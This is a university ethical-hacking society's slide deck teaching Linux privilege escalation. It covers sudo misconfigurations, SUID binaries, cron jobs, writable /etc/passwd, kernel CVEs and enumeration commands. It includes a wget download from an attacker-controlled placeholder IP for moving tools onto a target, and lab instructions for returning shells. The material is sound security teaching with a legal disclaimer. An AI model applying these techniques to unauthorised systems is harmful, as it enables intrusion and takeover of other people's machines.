Ethical Student Hackers

Linux Security

The Legal Bit

- The skills taught in these sessions allow identification and exploitation of security vulnerabilities in systems. We strive to give you a place to practice legally, and can point you to other places to practice. These skills should not be used on systems where you do not have explicit permission from the owner of the system. It is VERY easy to end up in breach of relevant laws, and we can accept no responsibility for anything you do with the skills learnt here.

- If we have reason to believe that you are utilising these skills against systems where you are not authorised you will be banned from our events, and if necessary the relevant authorities will be alerted.

- Remember, if you have any doubts as to if something is legal or authorised, just don't do it until you are able to confirm you are allowed to.

- Relevant UK Law: https://www.legislation.gov.uk/ukpga/1990/18/contents

Code of Conduct

- Before proceeding past this point you must read and agree to our Code of Conduct - this is a requirement from the University for us to operate as a society.
- If you have any doubts or need anything clarified, please ask a member of the committee.
- Breaching the Code of Conduct = immediate ejection and further consequences.
- Code of Conduct can be found at https://shefesh.com/downloads/SESH%20Code%20of%20Conduct.pdf

A Different Style

This week, we're trying a different approach to the presentation

To give you more time to work on the practicals, we'll be introducing some concepts but leaving the details of commands and payloads in the slides as a reference

You can then return to the slides when solving the practicals

CVE Bingo!

What recent / famous Linux vulnerabilities can you name?

Can you think of any vulnerabilities in well-known services that are commonly used on Linux hosts? e.g.

- FTP
- Apache
- mySQL
- ...

Classic CVEs

Dirty Pipe
(CVE-2022-0847)

Dirtycow
(CVE-2016-5195)

Rowhammer
(CVE-2015-0565)

CentOS RCE
(CVE-2021-45467)

Sudoedit
(CVE-2021-3156)

log4shell
(CVE-2021-44228)

HeartBleed
(CVE-2014-0160)

PolKit
(CVE-2021-3560)

Shellshock
(CVE-2014-6271)

sequoia /proc
Filesystem Overflow
(CVE-2021-33909)

Privilege Escalation

What is privilege escalation?

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.

It’s useful as you may often ‘land’ in a shell running as a user with limited permissions

You may even have to escape a jail...

Types of Privilege Escalation

Horizontal Privilege Escalation

- Attackers gain access directly to an account they intend to perform actions with
- Easier to pull off as you don't have to elevate permissions
- Can be done with phishing via emails, messages etc.

Vertical Privilege Escalation

- Attackers gain access to an account and elevate the permissions
- Requires more understanding of vulnerabilities and hacking tools
- Phishing can be used as the first step to gain access to the accounts
- Elevating the permission can be done with getting root access or using hacking tools

How to Identify Linux PE Vectors

Firstly, what are you looking for?

- Think back to the Linux session - might you be able to read / write to a file you don't own? That's used by another program?
- Local services

Manual searching, with:

- find
- uname
- sudo -l
- netstat
- ss
- ps

... the list is too long for a slide

How to Identify Linux PE Vectors

Automated tools

- linPEAS (identifies everything you might need)
- pspy (lets you view processes running as they happen)

Resources that list far more vectors than we can here:

- https://kellgon.com/common-privilege-escalation-vectors-for-windows-and-linux/
- https://www.cynet.com/network-attacks/privilege-escalation/#heading-4
- https://www.beyondtrust.com/blog/entry/privilege-escalation-attack-defense-explained
- https://0xsp.com/offensive/privilege-escalation-cheatsheet/#Linux
- https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Cheat%20sheets%20reference%20pages%20Checklists%20-/Linux/cheat%20sheet%20Basic%20Linux%20Privilege%20Escalation.txt

Specific Attacks

Password Reuse - If an account shares the same password for multiple services, then a hacker could then use that to escalate their privileges horizontally.

Writeable /etc/passwd - This is a vulnerability where you can arbitrarily add a new user with uid 0(root permissions) allowing for vertical privilege escalation.

Readable /etc/shadow - A vulnerability where you can read the hashes on the machines and crack them to allow for lateral movement on the system.

Specific Attacks - Sudo

You can enumerate your privileges with: sudo -l

You may be able to run any command as root, or as a different user: sudo -u [user] [command]

The command may be limited, but configured poorly

- Wildcards can appear in the /etc/sudoers file
- You may be able to overwrite a .sh script you have access to run as root

You may be able to exploit sudo itself...

Sudo tokens are another interesting vector picked up by some automated tools

Specific Attacks - SUID Binaries

Each file has read, write and execute for owner, group and other.

Find: find / -perm /4000 + https://gtfobins.github.io/#

There are 3 other flags that allow specific files to be executed as another user:

setuid - All users run file as owner (value 4)
setgid - All users run file as group (value 2)
(stickybit - only allows deletion by owner (value 1))

```
ubuntu@ip-172-31-45-54:~/folder$ ls -l
total 0
---S------ 1 ubuntu ubuntu 0 Nov  7 12:32 suid
-rwsrwxrwx 1 ubuntu ubuntu 0 Nov  7 12:34 suid_with_write
```

E.g. chmod 4777 file_name - all users will run this file as the file owner

Specific Attacks - Cron Jobs

Cron is a utility that allows a user to schedule tasks to run on a timetable.

You specify when you want it to run (minutes, hours, day, month, weekday) and what command.

*	All
2,3,5,15	List
45-55	Range
30-59/5	Range with steps (30,35,40,45,50,55)

https://cron.help/
https://crontab-generator.com/

Minutes	Hours	Day of the month	Month	Day of the Week	Result
0	0	*	*	*	Every day at 00:00
10	13	29	2	*	Every leap year at 13:10
0	1/3	*	9-11	*	Every third hour starting at 1 am during September, October and November

Specific Attacks - Cron Jobs

Edit configuration:
crontab -e

View configuration:
crontab -l

Edit other user configuration (requires root):
crontab -u [user] -e

Can access cron files directly from location on filesystem:
/var/spool/cron/crontabs/[user]

Cron files shouldn't be accessible. Any scripts run by cron files shouldn't be writable by other users.

```
  GNU nano 6.2
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
* * * * * /script_every_minute.sh
0/2 * * * 2 /script_every_two_minutes_on_tuesday.sh
```

Specific Attacks - Kernel Exploits

How to identify vulnerable kernel versions? uname -a

Dirty Cow - Race condition cause when preventing memory duplication when referring to the same object in memory. Can allow you to write to the other object which is not yours. (Exploitable in Linux kernels before 2018)

Dirty Pipe - Involves creating a pipe and filling it with arbitrary data before draining it to allow the attacker to transfer and modify a read only file to elevate there privileges to the root level. (Potentially exploitable between kernel versions 5.8 to 5.16.11)

Heartbleed - The sender can send data and get the receiver to send it back to check it is alive. In heartbleed the server sends data and requests back a larger size so the receiver returns back anything after in memory.

File Transfer

$ python -m http.server 8000

wget -O filepath http://[YOUR_IP]/file

scp source_file (user@)[TARGET_IP]:/destination

Practical 1 - TryHackMe

Old reliable TryHackMe have a great guided room for exploring vectors

Log in and see how many you can do: https://tryhackme.com/room/linuxprivesc

Practical 2 (Experimental)

Want another chance at popping a shell? This practical will hopefully work

Try to login to our jumpbox, scan the vulnerable machine at 10.0.0.152 and exploit its web server

ssh -L 1234:10.0.0.152:8080 userX@13.42.103.5 -p 2222 - SESH_IA_X

Then visit: http://localhost:1234

Return your shells to 10.0.0.21

Upcoming Sessions

What's up next?

www.shefesh.com/sessions

14/11/22 - AWS Workshop with CompSoc

21/11/22 - Networking

28/11/22 - Hack the Box

Any Questions?

www.shefesh.com

Thanks for coming!